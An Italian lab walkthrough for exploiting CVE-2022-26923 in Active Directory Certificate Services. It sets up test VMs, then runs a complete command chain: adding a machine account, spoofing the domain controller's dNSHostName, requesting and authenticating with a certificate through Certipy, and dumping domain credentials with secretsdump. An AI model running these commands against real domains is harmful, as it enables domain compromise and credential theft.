Sfruttamento di CVE-2022-26923: Escalation di Privilegi tramite Autorità di Certificazione

Panoramica

CVE-2022-26923 è una vulnerabilità in Active Directory Certificate Services (AD CS) che consente a un attaccante di aumentare i privilegi abusando dell'autenticazione basata su certificati. Questa guida illustra i passi per sfruttare questa vulnerabilità utilizzando Impacket e Certipy.

Tabella delle Credenziali

Passo 1: Clonare il Repository e Configurare le Macchine Virtuali

Per prima cosa, clonare il repository contenente i file necessari:

git clone https://github.com/rayngnpc/CVE-2022-26923-rayng.git
cd CVE-2022-26923-rayng

Configurare le Macchine Virtuali

Il repository contiene due cartelle, ciascuna con un Vagrantfile per il provisioning delle macchine virtuali. È necessario installare Vagrant sul proprio host prima di procedere.

Installare Vagrant

Per Windows

Scaricare e installare Vagrant da qui. Oppure installare usando PowerShell:

choco install vagrant

Per Linux

sudo apt update && sudo apt install vagrant -y

VM Windows Server 2022

Navigare nella directory WindowsServer2022:

cd WindowsServer2022
vagrant up

Questo scaricherà e configurerà la VM Windows Server 2022 in VirtualBox.

VM Kali Linux

Navigare nella directory Kali-LinuxVM:

cd Kali-LinuxVM
vagrant up

Passo 2: Configurare la Rete Virtuale

Poiché l'exploit richiede una rete NAT, configurare VirtualBox come segue:

Su Windows

Prima di eseguire il comando seguente, assicurarsi che VBoxManage sia aggiunto alle variabili d'ambiente. In caso contrario, eseguire il comando utilizzando il percorso completo:

Aggiungere la rete NAT

VBoxManage natnetwork add --netname NatNet1 --network "10.0.2.0/24" --enable

Se VBoxManage non viene riconosciuto, usare:

"C:\Program Files\Oracle\VirtualBox\VBoxManage.exe" natnetwork add --netname NatNet1 --network "10.0.2.0/24" --enable

Su Linux

VBoxManage natnetwork add --netname NatNet1 --network "10.0.2.0/24" --enable

Assicurarsi di controllare entrambe le VM in VirtualBox e verificare che siano assegnate all'adattatore di rete NatNetwork - NatNet1.

È possibile creare una rete NAT con un nome diverso, ma deve essere nell'intervallo IP 10.0.2.0/24.

Passo 3: Modificare il File Hosts

Prima di procedere, assicurarsi che sia Windows Server 2022 che Kali Linux VM siano accesi.

Accedere alla Kali Linux VM per iniziare l'attacco.

Aggiornare il file /etc/hosts per mappare l'IP del controller di dominio:

sudo nano /etc/hosts

Aggiungere la seguente riga:

10.0.2.121 SERVER2022.pchau.domain.local SERVER2022 pchau-SERVER2022-CA pchau.domain.local

Salvare e uscire.

Passo 4: Configurare l'Ambiente

Navigare nella directory CVE-26923 e attivare l'ambiente virtuale Python:

cd ~/CVE-26923
source ~/CVE-26923/rayng/bin/activate

Passo 5: Aggiungere un Computer al Dominio

Utilizzando l'utility addcomputer di Impacket:

impacket-addcomputer -computer-name 'PCTEST1' -computer-pass 'testuser' -dc-host 10.0.2.121 -domain-netbios pchau.domain.local pchau.domain.local/testuser:'$Vulnerable139'

Passo 6: Assegnare PCTEST1 al Controller di Dominio

Metodo 1: Usando SSH (se OpenSSH è installato sul server di destinazione)

ssh [email protected]
Get-ADComputer PCTEST1 -properties dnshostname,serviceprincipalname
Set-ADComputer PCTEST1 -DnsHostName SERVER2022.pchau.domain.local
Get-ADComputer PCTEST1 -properties dnshostname,serviceprincipalname

Metodo 2: Senza SSH (usando Impacket e BloodyAD)

Controllare i computer del dominio:

impacket-GetADComputers pchau.domain.local/testuser:'$Vulnerable139' -dc-ip 10.0.2.121

Navigare nella directory bloodyAD e usare bloodyAD.py per aggiungere PCTEST1 al dominio:

cd ~/CVE-26923/bloodyAD/
python3 bloodyAD.py -d pchau.domain.local -u testuser -p '$Vulnerable139' --host 10.0.2.121 set object PCTEST1$ dNSHostName -v 'SERVER2022.pchau.domain.local'

Verificare che PCTEST1 sia stato assegnato al dominio:

impacket-GetADComputers pchau.domain.local/testuser:'$Vulnerable139' -dc-ip 10.0.2.121

Passo 7: Processo di Sfruttamento

Trovare Certificati Vulnerabili

Usare Certipy per trovare certificati vulnerabili:

certipy find -dc-ip 10.0.2.121 -username 'PCTEST1$' -password 'testuser'

Richiedere un Certificato

Richiedere un certificato macchina usando Certipy:

certipy req -dc-ip 10.0.2.121 -username 'PCTEST1$' -password 'testuser' -template Machine -ca pchau-SERVER2022-CA

Autenticarsi con il Certificato

Autenticarsi utilizzando il certificato ottenuto:

certipy auth -pfx server2022.pfx

Passo 8: Estrarre gli Hash NTLM

Dopo aver eseguito il comando certipy auth, verranno visualizzati due hash. L'hash di destra verrà utilizzato per l'autenticazione NTLM.

Esempio di output hash:

aad3b435b51404eeaad3b435b51404ee:69079fd4946af567d682d61e121f29e7

Usare l'hash NTLM estratto per scaricare le credenziali:

impacket-secretsdump '[email protected]' -hashes :69079fd4946af567d682d61e121f29e7

Questo completa l'intera catena d'attacco per sfruttare CVE-2022-26923.